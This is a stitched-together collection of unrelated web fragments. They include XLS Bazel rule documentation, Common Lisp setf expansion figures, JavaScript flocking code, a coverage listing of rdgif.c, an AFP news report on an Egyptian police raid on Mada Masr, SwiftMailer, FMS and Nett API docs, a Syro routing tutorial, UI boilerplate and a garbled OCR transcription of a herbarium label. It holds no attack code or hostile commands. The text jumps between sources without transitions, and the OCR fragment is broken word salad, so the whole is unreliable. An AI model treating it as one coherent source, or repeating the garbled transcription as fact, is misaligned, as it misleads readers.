Bazel Rules And Macros
check_sha256sum_frozen
check_sha256sum_frozen(name, src, frozen_file, sha256sum)
Produces a frozen file if the sha256sum checksum of a source file matches a user-defined checksum.
As projects cut releases or freeze, it's important to know that generated (e.g. Verilog) code is never changing without having to actually check in the generated artifact. This rule performs a checksum of a generated file as an integrity check. Users might use this rule to help enable confidence that there is neither:
- non-determinism in the toolchain, nor
- an accidental dependence on a non-released toolchain (e.g. an accidental dependence on top-of-tree, where the toolchain is constantly changing)
Say there was a codegen rule producing my_output.v
, a user might instantiate
something like:
check_sha256sum_frozen(
name = "my_output_checksum",
src = ":my_output.v",
sha256sum = "d1bc8d3ba4afc7e109612cb73acbdddac052c93025aa1f82942edabb7deb82a1",
frozen_file = "my_output.frozen.x",
)
... and then take a dependency on my_output.frozen.v
in the
surrounding project, knowing that it had been checksum-verified.
Taking a dependence on my_output.v
directly may also be ok if the
:my_output_checksum
target is also built (e.g. via the same wildcard
build request), but taking a dependence on the output .frozen.v
file
ensures that the checking is an integral part of the downstream
build-artifact-creation process.
At its core, this rule ensure that the contents of a file does not change by verifying that it matches a given checksum. Typically, this rule is used to control the build process. The rule serves as a trigger on rules depending on its output (the frozen file). When the validation of the sha256sum succeed, rules depending on the frozen file are built/executed. When the validation of the sha256sum fails, rules depending on the frozen file are not built/executed.
In the example below, when the validation of the sha256sum for target 'generated_file_sha256sum_frozen' succeeds, target 'generated_file_dslx' is built. However, when the validation of the sha256sum for target 'generated_file_sha256sum_frozen' fails, target 'generated_file_dslx' is not built.
Examples:
- A simple example.
check_sha256sum_frozen( name = "generated_file_sha256sum_frozen", src = ":generated_file.x", sha256sum = "6522799f7b64dbbb2a31eb2862052b8988e78821d8b61fff7f508237a9d9f01d", frozen_file = "generated_file.frozen.x", ) dslx_library( name = "generated_file_dslx", src = ":generated_file.frozen.x", )
ATTRIBUTES
| Name | Description | Type | Mandatory | Default |
|---|---|---|---|---|
| name | A unique name for this target. | Name | required | |
| src | The source file. | Label | required | |
| frozen_file | The frozen output file. | Label | required | |
| sha256sum | The sha256sum of the source file. | String | required |
check_sha256sum_test
check_sha256sum_test(name, src, sha256sum)
Validates the sha256sum checksum of a source file with a user-defined checksum.
This rule is typically used to ensure that the contents of a file is unchanged.
Examples:
- A simple example.
check_sha256sum_test( name = "generated_file_sha256sum_test", src = ":generated_file.x", sha256sum = "6522799f7b64dbbb2a31eb2862052b8988e78821d8b61fff7f508237a9d9f01d", )
ATTRIBUTES
| Name | Description | Type | Mandatory | Default |
|---|---|---|---|---|
| name | A unique name for this target. | Name | required | |
| src | The source file. | Label | required | |
| sha256sum | The sha256sum of the source file. | String | required |
proto_data
proto_data(name, src, proto_name, protobin_file)
Converts a proto text with a xlscc.HLSBlock message to a proto binary.
This rules is used in conjunction with the (e.g. xls_cc_ir and xls_cc_verilog) rules and xls_cc_* (e.g. xls_cc_ir_macro and xls_cc_verilog_macro) macros.
Examples:
- A simple example.
proto_data( name = "packet_selector_block_pb", src = "packet_selector.textproto", )
ATTRIBUTES
| Name | Description | Type | Mandatory | Default |
|---|---|---|---|---|
| name | A unique name for this target. | Name | required | |
| src | The source file. | Label | required | |
| proto_name | The name of the message type in the .proto files that 'src' file represents. | String | optional | "xlscc.HLSBlock" |
| protobin_file | The name of the output file to write binary proto to. If not specified, the target name of the bazel rule followed by a .protobin extension is used. | Label | optional | None |
xls_benchmark_ir
xls_benchmark_ir(name, src, benchmark_ir_args, top)
Executes the benchmark tool on an IR file.
Examples:
-
A file as the source.
xls_benchmark_ir( name = "a_benchmark", src = "a.ir", )
-
An xls_ir_opt_ir target as the source.
xls_ir_opt_ir( name = "a_opt_ir", src = "a.ir", ) xls_benchmark_ir( name = "a_benchmark", src = ":a_opt_ir", )
ATTRIBUTES
| Name | Description | Type | Mandatory | Default |
|---|---|---|---|---|
| name | A unique name for this target. | Name | required | |
| src | The IR source file for the rule. A single source file must be provided. The file must have a '.ir' extension. | Label | required | |
| benchmark_ir_args | Arguments of the benchmark IR tool. For details on the arguments, refer to the benchmark_main application at //xls/tools/benchmark_main.cc. | Dictionary: String -> String | optional | {} |
| top | The (mangled) name of the entry point. See get_mangled_ir_symbol. Defines the 'top' argument of the IR tool/application. | String | optional | "" |
xls_benchmark_verilog
xls_benchmark_verilog(name, verilog_target)
Computes and prints various metrics about a Verilog target.
Example:
xls_benchmark_verilog(
name = "a_benchmark",
verilog_target = "a_verilog_target",
)
ATTRIBUTES
| Name | Description | Type | Mandatory | Default |
|---|---|---|---|---|
| name | A unique name for this target. | Name | required | |
| verilog_target | The verilog target to benchmark. | Label | optional | None |
xls_dslx_library
xls_dslx_library(name, deps, srcs, warnings_as_errors)
A build rule that parses and type checks DSLX source files.
Examples:
-
A collection of DSLX source files.
xls_dslx_library( name = "files_123_dslx", srcs = [ "file_1.x", "file_2.x", "file_3.x", ], )
-
Dependency on other xls_dslx_library targets.
xls_dslx_library( name = "a_dslx", srcs = ["a.x"], ) # Depends on target a_dslx. xls_dslx_library( name = "b_dslx", srcs = ["b.x"], deps = [":a_dslx"], ) # Depends on target a_dslx. xls_dslx_library( name = "c_dslx", srcs = ["c.x"], deps = [":a_dslx"], )
ATTRIBUTES
| Name | Description | Type | Mandatory | Default |
|---|---|---|---|---|
| name | A unique name for this target. | Name | required | |
| deps | Dependency targets for the rule. | List of labels | optional | [] |
| srcs | Source files for the rule. Files must have a '.x' extension. | List of labels | optional | [] |
| warnings_as_errors | Whether warnings are errors within this library definition. | Boolean | optional | False |
xls_dslx_opt_ir_test
xls_dslx_opt_ir_test(name, benchmark_ir_args, dep, dslx_test_args, input_validator, input_validator_expr, ir_equivalence_args, ir_eval_args, top)
A build rule that tests a xls_dslx_opt_ir target.
Executes the test commands for the following rules in the order presented:
- xls_dslx_test
- xls_ir_equivalence_test
- xls_eval_ir_test
- xls_benchmark_ir
Examples:
- A simple example.
xls_dslx_opt_ir( name = "a_opt_ir", srcs = ["a.x"], dslx_top = "a", ) xls_dslx_opt_ir_test( name = "a_opt_ir_test", dep = ":a_opt_ir", )
ATTRIBUTES
| Name | Description | Type | Mandatory | Default |
|---|---|---|---|---|
| name | A unique name for this target. | Name | required | |
| benchmark_ir_args | Arguments of the benchmark IR tool. For details on the arguments, refer to the benchmark_main application at //xls/tools/benchmark_main.cc. | Dictionary: String -> String | optional | {} |
| dep | The xls_dslx_opt_ir target to test. | Label | optional | None |
| dslx_test_args | Arguments of the DSLX interpreter executable. For details on the arguments, refer to the interpreter_main application at //xls/dslx/interpreter_main.cc. | Dictionary: String -> String | optional | {} |
| input_validator | The DSLX library defining the input validator for this test. Mutually exclusive with "input_validator_expr". | Label | optional | None |
| input_validator_expr | The expression to validate an input for the test function. Mutually exclusive with "input_validator". | String | optional | "" |
| ir_equivalence_args | Arguments of the IR equivalence tool. For details on the arguments, refer to the check_ir_equivalence_main application at //xls/tools/check_ir_equivalence_main.cc. The 'function' argument is not assigned using this attribute. | Dictionary: String -> String | optional | {} |
| ir_eval_args | Arguments of the IR interpreter. For details on the arguments, refer to the eval_ir_main application at //xls/tools/eval_ir_main.cc.The 'top' argument is not assigned using this attribute. | Dictionary: String -> String | optional | {"random_inputs": "100", "optimize_ir": "true"} |
| top | The (mangled) name of the entry point. See get_mangled_ir_symbol. Defines the 'top' argument of the IR tool/application. | String | optional | "" |
xls_dslx_test
xls_dslx_test(name, deps, srcs, dslx_test_args, library)
A dslx test executes the tests and quick checks of a DSLX source file.
Examples:
-
xls_dslx_test on DSLX source files.
# Assume a xls_dslx_library target bc_dslx is present. xls_dslx_test( name = "e_dslx_test", srcs = [ "d.x", "e.x", ], deps = [":bc_dslx"], )
-
xls_dslx_test on a xls_dslx_library.
xls_dslx_library( name = "b_dslx", srcs = ["b.x"], deps = [":a_dslx"], ) xls_dslx_test( name = "b_dslx_test", library = "b_dslx", )
ATTRIBUTES
| Name | Description | Type | Mandatory | Default |
|---|---|---|---|---|
| name | A unique name for this target. | Name | required | |
| deps | Dependency targets for the files in the 'srcs' attribute. This attribute is mutually exclusive with the 'library' attribute. | List of labels | optional | [] |
| srcs | Source files for the rule. The files must have a '.x' extension. This attribute is mutually exclusive with the 'library' attribute. | List of labels | optional | [] |
| dslx_test_args | Arguments of the DSLX interpreter executable. For details on the arguments, refer to the interpreter_main application at //xls/dslx/interpreter_main.cc. | Dictionary: String -> String | optional | {} |
| library | A DSLX library target where the direct (non-transitive) files of the target are tested. This attribute is mutually exclusive with the 'srcs' and 'deps' attribute. | Label | optional | None |
xls_eval_ir_test
xls_eval_ir_test(name, src, input_validator, input_validator_expr, ir_eval_args, top)
Executes the IR interpreter on an IR file.
Examples:
-
A file as the source.
xls_eval_ir_test( name = "a_eval_ir_test", src = "a.ir", )
-
An xls_ir_opt_ir target as the source.
xls_ir_opt_ir( name = "a_opt_ir", src = "a.ir", ) xls_eval_ir_test( name = "a_eval_ir_test", src = ":a_opt_ir", )
ATTRIBUTES
| Name | Description | Type | Mandatory | Default |
|---|---|---|---|---|
| name | A unique name for this target. | Name | required | |
| src | The IR source file for the rule. A single source file must be provided. The file must have a '.ir' extension. | Label | required | |
| input_validator | The DSLX library defining the input validator for this test. Mutually exclusive with "input_validator_expr". | Label | optional | None |
| input_validator_expr | The expression to validate an input for the test function. Mutually exclusive with "input_validator". | String | optional | "" |
| ir_eval_args | Arguments of the IR interpreter. For details on the arguments, refer to the eval_ir_main application at //xls/tools/eval_ir_main.cc.The 'top' argument is not assigned using this attribute. | Dictionary: String -> String | optional | {"random_inputs": "100", "optimize_ir": "true"} |
| top | The (mangled) name of the entry point. See get_mangled_ir_symbol. Defines the 'top' argument of the IR tool/application. | String | optional | "" |
xls_ir_equivalence_test
xls_ir_equivalence_test(name, ir_equivalence_args, src_0, src_1, top)
Executes the equivalence tool on two IR files.
Examples:
-
A file as the source.
xls_ir_equivalence_test( name = "ab_ir_equivalence_test", src_0 = "a.ir", src_1 = "b.ir", )
-
A target as the source.
xls_dslx_ir( name = "b_ir", srcs = ["b.x"], ) xls_ir_equivalence_test( name = "ab_ir_equivalence_test", src_0 = "a.ir", src_1 = ":b_ir", )
ATTRIBUTES
| Name | Description | Type | Mandatory | Default |
|---|---|---|---|---|
| name | A unique name for this target. | Name | required | |
| ir_equivalence_args | Arguments of the IR equivalence tool. For details on the arguments, refer to the check_ir_equivalence_main application at //xls/tools/check_ir_equivalence_main.cc. The 'function' argument is not assigned using this attribute. | Dictionary: String -> String | optional | {} |
| src_0 | An IR source file for the rule. A single source file must be provided. The file must have a '.ir' extension. | Label | required | |
| src_1 | An IR source file for the rule. A single source file must be provided. The file must have a '.ir' extension. | Label | required | |
| top | The (mangled) name of the entry point. See get_mangled_ir_symbol. Defines the 'top' argument of the IR tool/application. | String | optional | "" |
cc_xls_ir_jit_wrapper
cc_xls_ir_jit_wrapper(name, src, jit_wrapper_args, kwargs)
Invokes the JIT wrapper generator and compiles the result as a cc_library.
The macro invokes the JIT wrapper generator on an IR source file. The generated source files are the inputs to a cc_library with its target name identical to this macro.
PARAMETERS
get_mangled_ir_symbol
get_mangled_ir_symbol(module_name, function_name, parametric_values, is_implicit_token, is_proc_next)
Returns the mangled IR symbol for the module/function combination.
"Mangling" is the process of turning nicely namedspaced symbols into "grosser" (mangled) flat (non hierarchical) symbol, e.g. that lives on a package after IR conversion. To retrieve/execute functions that have been IR converted, we use their mangled names to refer to them in the IR namespace.
PARAMETERS
RETURNS
The "mangled" symbol string.
xls_delay_model_generation
xls_delay_model_generation(name, standard_cells, samples_file, kwargs)
Generate an XLS delay model for one PDK corner.
This macro gathers the locations of the required dependencies (Yosys, OpenSTA, helper scripts, and cell libraries) and generates a wrapper script that invokes "run_timing_characterization" with the dependency locations provided as args.
Any extra runtime args will get passed in to the "run_timing_characterization" script (e.g. "--debug" or "--quick_run").
The script must be "run" from the root of the workspace to perform the timing characterization. The output textproto will be produced in the current directory (which, as just stated, must be the root of the workspace).
Currently, only a subset of XLS operators are characterized, including most arithmetic, logical, and shift operators. However, many common operators such as "concat", "bit_slice", and "encode" are missing, and so the delay model that is currently produced should be considered INCOMPLETE.
PARAMETERS
xls_dslx_cpp_type_library
xls_dslx_cpp_type_library(name, src, namespace)
Creates a cc_library target for transpiled DSLX types.
This macros invokes the DSLX-to-C++ transpiler and compiles the result as a cc_library with its target name identical to this macro.
PARAMETERS
xls_dslx_ir
xls_dslx_ir(name, dslx_top, srcs, deps, library, ir_conv_args, enable_generated_file, enable_presubmit_generated_file, kwargs)
A macro that instantiates a build rule converting a DSLX source file to an IR file.
The macro instantiates a rule that converts a DSLX source file to an IR file. The macro also instantiates the 'enable_generated_file_wrapper' function. The generated files are listed in the outs attribute of the rule.
Example:
An IR conversion with a top entity defined.
```
# Assume a xls_dslx_library target bc_dslx is present.
xls_dslx_ir(
name = "d_ir",
srcs = ["d.x"],
deps = [":bc_dslx"],
dslx_top = "d",
)
```
PARAMETERS
xls_dslx_opt_ir
xls_dslx_opt_ir(name, dslx_top, srcs, deps, library, ir_conv_args, opt_ir_args, enable_generated_file, enable_presubmit_generated_file, kwargs)
A macro that instantiates a build rule generating an optimized IR file from a DSLX source file.
The macro instantiates a build rule that generates an optimized IR file from a DSLX source file. The build rule executes the core functionality of following macros:
- xls_dslx_ir (converts a DSLX file to an IR), and,
- xls_ir_opt_ir (optimizes the IR).
The macro also instantiates the 'enable_generated_file_wrapper' function. The generated files are listed in the outs attribute of the rule.
Examples:
- A simple example.
# Assume a xls_dslx_library target bc_dslx is present. xls_dslx_opt_ir( name = "d_opt_ir", srcs = ["d.x"], deps = [":bc_dslx"], dslx_top = "d", )
PARAMETERS
xls_dslx_verilog
xls_dslx_verilog(name, dslx_top, verilog_file, srcs, deps, library, ir_conv_args, opt_ir_args, codegen_args, enable_generated_file, enable_presubmit_generated_file, kwargs)
A macro that instantiates a build rule generating a Verilog file from a DSLX source file and tests the build.
The macro instantiates a build rule that generates a Verilog file from a DSLX source file. The build rule executes the core functionality of following macros:
- xls_dslx_ir (converts a DSLX file to an IR),
- xls_ir_opt_ir (optimizes the IR), and,
- xls_ir_verilog (generated a Verilog file).
The macro also instantiates a 'build_test' testing that the build rule generating a Verilog file. If the build is not successful, an error is produced when executing a test command on the target.
Examples:
- A simple example.
# Assume a xls_dslx_library target bc_dslx is present. xls_dslx_verilog( name = "d_verilog", srcs = ["d.x"], deps = [":bc_dslx"], codegen_args = { "pipeline_stages": "1", }, dslx_top = "d", )
PARAMETERS
xls_ir_cc_library
xls_ir_cc_library(name, src, top, namespaces)
Invokes the AOT compiles the input IR into a cc_library.
Example:
xls_ir_opt_ir(
name "foo",
...
)
xls_ir_cc_library_macro(
name = "foo_cc",
src = ":foo.opt.ir",
top = "bar",
namespaces = "a,b,c",
)
This will produce a cc_library that will execute the fn bar
from the
foo
IR file. The call itself will be inside the namespace a::b::c
.
PARAMETERS
xls_ir_opt_ir
xls_ir_opt_ir(name, src, opt_ir_args, enable_generated_file, enable_presubmit_generated_file, debug_srcs, kwargs)
A macro that instantiates a build rule optimizing an IR file.
The macro instantiates a build rule that optimizes an IR file. The macro also instantiates the 'enable_generated_file_wrapper' function. The generated files are listed in the outs attribute of the rule.
Examples:
-
A simple example.
xls_ir_opt_ir( name = "a_opt_ir", src = "a.ir", )
-
Optimizing an IR file with an top entity defined.
xls_ir_opt_ir( name = "a_opt_ir", src = "a.ir", opt_ir_args = { "inline_procs" : "true", }, )
PARAMETERS
xls_ir_verilog
xls_ir_verilog(name, src, verilog_file, codegen_args, enable_generated_file, enable_presubmit_generated_file, kwargs)
A macro that instantiates a build rule generating a Verilog file from an IR file and tests the build.
The macro instantiates a build rule that generate a Verilog file from an IR file, and a 'build_test' testing that the build rule generating a Verilog file. If the build is not successful, an error is produced when executing a test command on the target.
Example:
```
xls_ir_verilog(
name = "a_verilog",
src = "a.ir",
codegen_args = {
"pipeline_stages": "1",
...
},
)
```
PARAMETERS
xls_synthesis_metrics
xls_synthesis_metrics(name, srcs, kwargs)
Gather per-pipeline-stage metrics from log files.
Gather per-stage post-synth metrics from the provided logs (from Yosys or OpenSTA) and save them in a "DesignStats" textproto. Recognized metrics from Yosys log: Total cell area (um^2). Logic levels Cell count Flop count Recognized metrics from OpenSTA log: Critical path delay (ps) Critical path start point Critical path end point
PARAMETERS


Alloy - Drawing Demo
Ruby
40%
JavaScript
26%
Shell
5%
Python
5%
PHP
4%
C
4%
Perl
3%
C++
2%
Java
2%
Objective-C
2%


Map Lab Components
Update Mapped Lab Components
Gov LabReportItem Name:
Enter Gov. Lab Report Name
Lab Test Name:
Enter Lab Test Name
Is Active:
Is Component Based:
Component Name:
Enter component name
Is Result Count:
Positive Indicator:


Hello there! I'm Bolaji Ayodeji. ⚡
I'm a GitHub Campus Expert, Front-end Developer, Open Source Advocate and Technical Writer who currently works in Developer Relations at Hashnode
I'm passionate about building JAMstack and PWA applications with a great focus on #a11y, #m16y and optimization alongside contributing to and supporting FOSS.
I create contents around web and frontend development on my Blog and YouTube


Examples of the contents of the constituents of setf expansions follow.
For a variable x:
() ;list of temporary variables () ;list of value forms (g0001) ;list of store variables (setq x g0001) ;storing form x ;accessing form
Figure 5-3. Sample Setf Expansion of a Variable
For (car exp):
(g0002) ;list of temporary variables (exp) ;list of value forms (g0003) ;list of store variables (progn (rplaca g0002 g0003) g0003) ;storing form (car g0002) ;accessing form
Figure 5-4. Sample Setf Expansion of a CAR Form
For (subseq seq s e):
(g0004 g0005 g0006) ;list of temporary variables (seq s e) ;list of value forms (g0007) ;list of store variables (progn (replace g0004 g0007 :start1 g0005 :end1 g0006) g0007) ;storing form (subseq g0004 g0005 g0006) ; accessing form
Figure 5-5. Sample Setf Expansion of a SUBSEQ Form
In some cases, if a subform of a place is itself a place, it is necessary to expand the subform in order to compute some of the values in the expansion of the outer place. For (ldb bs (car exp)):
(g0001 g0002) ;list of temporary variables (bs exp) ;list of value forms (g0003) ;list of store variables (progn (rplaca g0002 (dpb g0003 g0001 (car g0002))) g0003) ;storing form (ldb g0001 (car g0002)) ; accessing form
Figure 5-6. Sample Setf Expansion of a LDB Form


Flocking behaviour is a method made of three algorithms: Cohesion, Alignment, Separation.
Separation was explained in the Crowd Path
Following algorithm demonstration.
Cohesion takes an average of neighbours' positions and returns it as a target point for Seek.
Then the vector calculated by Seek is applied to the vehicle.
Alignment takes an average of neighbours' velocities and calculates averaged direction of those velocities, which is applied to the vehicle.
All three can be weighted to make one vector more influential than the rest.
The orange vector sticking out of the center of the vehicle is a visualization of the desired velocity and the violet one shows the current velocity of the agent.
Maxspeed
0
Maxforce
0
Separation Force
1
Alignment Force
1
Cohesion Force
1
flock(Vehicles, SepMulti = 100, AliMulti = 100, CohMulti = 100) {
var separate = this.separation(Vehicles);
separate = separate.multiply(SepMulti);
this.applyForce(separate);
var align = this.align(Vehicles);
align = align.multiply(AliMulti);
this.applyForce(align);
var cohesion = this.cohesion(Vehicles);
cohesion = cohesion.multiply(CohMulti);
this.applyForce(cohesion);
}
align(Vehicles, neighbourDistance = 50) {
var sumVector = new Vector(0, 0),
j = 0;
for (let i = 0; i < Vehicles.length; i++) {
var distance = this.position.distanceBetweenPoints(Vehicles[i].position);
if ((distance > 0) && (distance < neighbourDistance)) {
sumVector = sumVector.add(Vehicles[i].velocity);
j++;
}
}
if (j > 0) {
sumVector = sumVector.divide(j);
sumVector = sumVector.normalize();
sumVector = sumVector.multiply(this.maxspeed);
sumVector = sumVector.subtract(this.velocity);
sumVector.limit(this.maxforce);
return sumVector;
}
else {
return new Vector(0,0);
}
}
cohesion(Vehicles, neighbourDistance = 50) {
var sumVector = new Vector(0, 0),
j = 0;
for (let i = 0; i < Vehicles.length; i++) {
var distance = this.position.distanceBetweenPoints(Vehicles[i].position);
if ((distance > 0) && (distance < neighbourDistance)) {
sumVector = sumVector.add(Vehicles[i].position);
j++;
}
}
if (j > 0) {
sumVector = sumVector.divide(j);
sumVector = this.seek(sumVector.x,sumVector.y);
return sumVector;
}
else {
return new Vector(0,0);
}
}


importance: 5
Create an image gallery where the main image changes by the click on a thumbnail.
Like this:
[iframe src=“solution” height=600]
P.S. Use event delegation.


1 : /*
2 : * rdgif.c
3 : *
4 : * Copyright (C) 1991-1997, Thomas G. Lane.
5 : * This file is part of the Independent JPEG Group's software.
6 : * For conditions of distribution and use, see the accompanying README file.
7 : *
8 : * This file contains routines to read input images in GIF format.
9 : *
10 : *****************************************************************************
11 : * NOTE: to avoid entanglements with Unisys' patent on LZW compression, *
12 : * the ability to read GIF files has been removed from the IJG distribution. *
13 : * Sorry about that. *
14 : *****************************************************************************
15 : *
16 : * We are required to state that
17 : * "The Graphics Interchange Format(c) is the Copyright property of
18 : * CompuServe Incorporated. GIF(sm) is a Service Mark property of
19 : * CompuServe Incorporated."
20 : */
21 :
22 : #include "cdjpeg.h" /* Common decls for cjpeg/djpeg applications */
23 :
24 : #ifdef GIF_SUPPORTED
25 :
26 : /*
27 : * The module selection routine for GIF format input.
28 : */
29 :
30 : GLOBAL(cjpeg_source_ptr)
31 17: jinit_read_gif (j_compress_ptr cinfo)
32 : {
33 17: fprintf(stderr, "GIF input is unsupported for legal reasons. Sorry.\n");
34 17: exit(EXIT_FAILURE);
35 : return NULL; /* keep compiler happy */
36 : }
37 :
38 : #endif /* GIF_SUPPORTED */
Generated: 2016-04-07 18:20 by zcov


Select a file now
Please wait,uploading...
Please wait, converting your file...
Your Thumbnail is ready
Download it
There was an error creating the thumbnail.


Please check your email for a link to log in with your account.
- State-of-the-art encryption
- No typing required
- Get ready to be happy.
Log In With Email
Log In With Email
Log In With Email
Log In With Email
Log In With Email
Log In With Email
(reset settings)
Send me a login link instead
Don’t worry, there’s no typing!
Send me a login link instead
Click here if you
read email online
Send me a login link instead
Please Check your phone for a confirmation link.
Secure your account with your mobile number.
Submit


?Ul
O
Q
New
York
Botanical
Garden
6
7
8
9
10
The
New
York
copyright
reserved
botanical
Garden
lk24125
EX
HERB.
HORT.
BOT.
REG.
KEW.
Rhizophora
racemosa
G-.F.W.
Mey╚
Tobago:
Windward
roadă
near
milepost
7/4╚
Studley
Park╚
Muddy
river
bank
near
beach,
sea
level*
Single
tree
40
ft*
tall,
with
Ră
mangle
and
Avicennia╚
FIs╚
conspicuous╚
calyx
yellow,
midribs
reddish,
especially
on
young
leaves╚
12-3-1966
J.R.
Charter
1624125
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


Egypt police raid news outlet after journalist arrest
by AFPEgyptian news outlet Mada Masr said Sunday security forces had raided their Cairo offices a day after one of its editors was arrested.
“Plainclothes security forces have raided Mada Masr’s office in Cairo. Staff are currently being held inside, and their phones have been switched off,” the independent news site posted on Twitter.
The raid comes after Shady Zalat, 37, a news editor who has worked since 2014 at the prominent website was arrested from his home on Saturday.
Mada Masr publishes investigations into corruption and security issues in Arabic and English.
It published an explosive article last week alleging that President Abdel-Fattah al-Sisi’s son Mahmoud had been transferred to Moscow on a diplomatic posting.
His re-assignment from a senior intelligence post came after he had been criticised internally within the security apparatus, Mada Masr reported.
The article, which cited unnamed Emirati and Egyptian officials, gave details about the country’s security agencies at a time when press freedoms in Egypt are shrinking.
A journalist from Mada Masr speaking from outside the news site’s building told AFP on Sunday that police officers were still inside.
He described seeing several vehicles belonging to security forces and was met by plainclothes police officers at the entrance of the building.
“They initially prevented me from entering then they took me up to the sixth floor, where the office is. We knocked on the door and I saw my colleagues for a fraction of a second,” he said.
“A policeman, also plainclothed, said we don’t want anyone coming or going and I was let go,” he added.
The journalist said he would be returning with a lawyer later.
Egypt jails more journalists than any other country behind China and Turkey, according to New York-based watchdog Committee to Protect Journalists.
Mada Masr is one of hundreds of websites blocked by Egyptian authorities in recent years and can only be accessed domestically via a virtual private network (VPN) application.


Class Swift_Mime_MimePart
A MIME part, in a multipart message.
- Swift_Mime_SimpleMimeEntity implements Swift_Mime_MimeEntity
- Swift_Mime_MimePart
Indirect known subclasses
Swift_Message
Package: Swift\Mime
Author: Chris Corbyn
Located at app/vendors/SwiftMailer/lib/classes/Swift/Mime/MimePart.php
Author: Chris Corbyn
Located at app/vendors/SwiftMailer/lib/classes/Swift/Mime/MimePart.php
public
|
#
__construct(
Create a new MimePart with $headers, $encoder and $cache. |
public
|
#
setBody( mixed $body, string $contentType = null, string $charset = null )
Set the body of this entity, either as a string, or as an instance of |
public
string
|
|
public
|
|
public
string
|
|
public
|
|
public
boolean
|
|
public
|
|
public
integer
|
|
public
|
#
charsetChanged( string $charset )
Receive notification that the charset has changed on this document, or a parent document. |
protected
|
|
protected
|
LEVEL_ALTERNATIVE,
LEVEL_MIXED,
LEVEL_RELATED,
LEVEL_TOP
|
protected
mixed
|
$_userFormat |
|
#
The format parameter last specified by the user |
protected
mixed
|
$_userCharset |
|
#
The charset last specified by the user |
protected
mixed
|
$_userDelSp |
|
#
The delsp parameter last specified by the user |
$_userContentType
|


This is Developed by CBKM under MIT licence .
CSV Format:
Disclaimer:
CSV Format:
- 1st Column must be Mobile Number with Country Code. (Required)
- 2nd Column should be Value 1. (Optional)
- 3rd Column should be Value 2. (Optional)
- Send to known contacts only. Don't use for spaming.
- Don't send from your personal number.
- Don't send to more than 50 people in one shot.
- Don't send more than 500 people in a single day
- We are not responsibe for any account block.
Formatting Options:
*text*
_text_
~text~
This Chrome plugin is not endorsed or certified WhatsApp Inc. This is an unofficial enhancement for WhatsApp Web.


This code allows the user to easily add tracers to the FMS framework.
use radon_mod, only : radon_sourcesink, radon_init, radon_endAn integer parameter, which will be used as an identifier for the tracer, should be assigned.
integer :: nradonWithin tracer_driver_init a call to the tracer manager is needed in order to identify which tracer it has set the tracer as.
nradon = get_tracer_index(MODEL_ATMOS,'radon')Here MODEL_ATMOS is a parameter defined in field_manager. 'radon' is the name of the tracer within the field_table.
if (nradon > 0) then call radon_init(Argument list) endifWithin tracer_driver the user can also use the identifier to surround calls to the source-sink routines for the tracer of interest.
if (nradon > 0 .and. nradon <= nt) then call radon_sourcesink (Argument list) rdt(:,:,:,nradon)=rdt(:,:,:,nradon)+rtnd(:,:,:) endifIt is the users responsibility to add the tendency generated by the sourcesink routine.
call radon_endThis may simply be a deallocation statement or a routine to send output to the logfile stating that the termination routine has been called.
fms_mod
time_manager_mod
tracer_manager_mod
field_manager_mod
tracer_utilities_mod
constants_mod
atmos_radon_mod
atmos_carbon_aerosol_mod
atmos_sulfur_hex_mod
use atmos_tracer_driver_mod [, only: atmos_tracer_driver,
atmos_tracer_driver_init,
atmos_tracer_driver_end ]
call atmos_tracer_driver (is, ie, js, je, Time, lon, lat, land, phalf, pfull, r, & u, v, t, q, u_star, rdt, rm, rdiag, kbot)
| is, ie, js, je | Local domain boundaries. [integer] |
| Time | Model time. [type(time_type)] |
| lon | Longitude of the centre of the model gridcells [real, dimension(:,:)] |
| lat | Latitude of the centre of the model gridcells [real, dimension(:,:)] |
| land | Land/sea mask. [logical, dimension(:,:)] |
| phalf | Pressures on the model half levels. [real, dimension(:,:,:)] |
| pfull | Pressures on the model full levels. [real, dimension(:,:,:)] |
| r | The tracer array in the component model. [real, dimension(:,:,:,:)] |
| u | Zonal wind speed. [real, dimension(:,:,:)] |
| v | Meridonal wind speed. [real, dimension(:,:,:)] |
| t | Temperature. [real, dimension(:,:,:)] |
| q | Specific humidity. This may also be accessible as a
portion of the tracer array. [real, dimension(:,:,:)] |
| u_star | Friction velocity ::
The magnitude of the wind stress is density*(ustar**2)
The drag coefficient for momentum is u_star**2/(u**2+v**2) [real, dimension(:,:)] |
| rm | The tracer array in the component model for the previous timestep. [real, dimension(:,:,:,:)] |
| kbot | Integer array describing which model layer intercepts the surface. [integer, optional, dimension(:,:)] |
| rdt | The tendency of the tracer array in the compenent
model. The tendency due to sources and sinks computed
in the individual tracer routines should be added to
this array before exiting tracer_driver. [real, dimension(:,:,:,:)] |
| rdiag | The array of diagnostic tracers. As these may be changed within the
tracer routines for diagnostic purposes, they need to be writable. [real, dimension(:,:,:,:)] |
call atmos_tracer_driver_init (lonb,latb, r, mask, axes, Time)
| lonb | The longitudes for the local domain. [real, dimension(:)] |
| latb | The latitudes for the local domain. [real, dimension(:)] |
| mask | optional mask (0. or 1.) that designates which grid points
are above (=1.) or below (=0.) the ground dimensioned as
(nlon,nlat,nlev). [real, optional, dimension(:,:,:)] |
| Time | Model time. [type(time_type)] |
| axes | The axes relating to the tracer array dimensioned as
(nlon, nlat, nlev, ntime) [integer, dimension(4)] |
| r | Tracer fields dimensioned as (nlon,nlat,nlev,ntrace). [real, dimension(:,:,:,:)] |
call atmos_tracer_driver_end


In the tradition of libraries like Cuba and Rum, Syro lets you match segments of the path. Consider this example:
env = { "REQUEST_METHOD" => "GET", "PATH_INFO" => "/foo/bar/baz", }
In the example env
hash, foo
,
bar
and baz
are what we call segments.
Let's see how we can match those segments in our app:
require "syro" App = Syro.new do get do res.text "Welcome!" end on "foo" do on "bar" do on "baz" do get do res.text "Hello world!" end end end end end env = { "REQUEST_METHOD" => "GET", "PATH_INFO" => "/foo/bar/baz", } p App.call(env)
Run the code and you will get this output:
[200, {"Content-Length"=>"12", "Content-Type"=>"text/plain"}, ["Hello world!"]]
Note that we use get
to indicate that we are targetting
the "GET"
request method, but also that there are
no segments left to be matched. For example, the first call to
get
does not trigger the execution of the block,
because at that point the path still contains the
"foo/bar/baz"
segments. Only once on
matches those segments we reach the end of the path, and the
nested get
matches.
Change the value of PATH_INFO
and run the program
again. Does it work as expected? Adapt the calls to on
to match the new value for PATH_INFO
.


Namespace Nett
Classes
ConversionBuilderExtensions
This class provides generic specializations for IConfigureConversionBuilder.
KeyGenerators
StreamTomlSerializer
TargetPropertySelectors
Toml
Main Nett API access.
TomlArray
TomlBool
TomlComment
TomlCommentAttribute
TomlDuration
